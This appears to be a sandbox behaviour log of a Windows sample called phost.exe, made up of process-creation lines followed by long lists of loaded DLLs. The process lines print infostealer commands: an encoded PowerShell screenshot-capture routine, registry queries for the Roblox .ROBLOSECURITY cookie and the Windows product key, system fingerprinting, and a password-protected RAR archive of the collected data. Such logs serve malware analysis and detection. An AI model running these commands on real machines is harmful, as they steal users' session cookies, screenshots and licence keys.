Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBE0B.tmp" "c:\Users\user\AppData\Local\Temp\jnxiphgt\CSC11F91C33F0BB4EC3B771882E34D952E.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\phost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
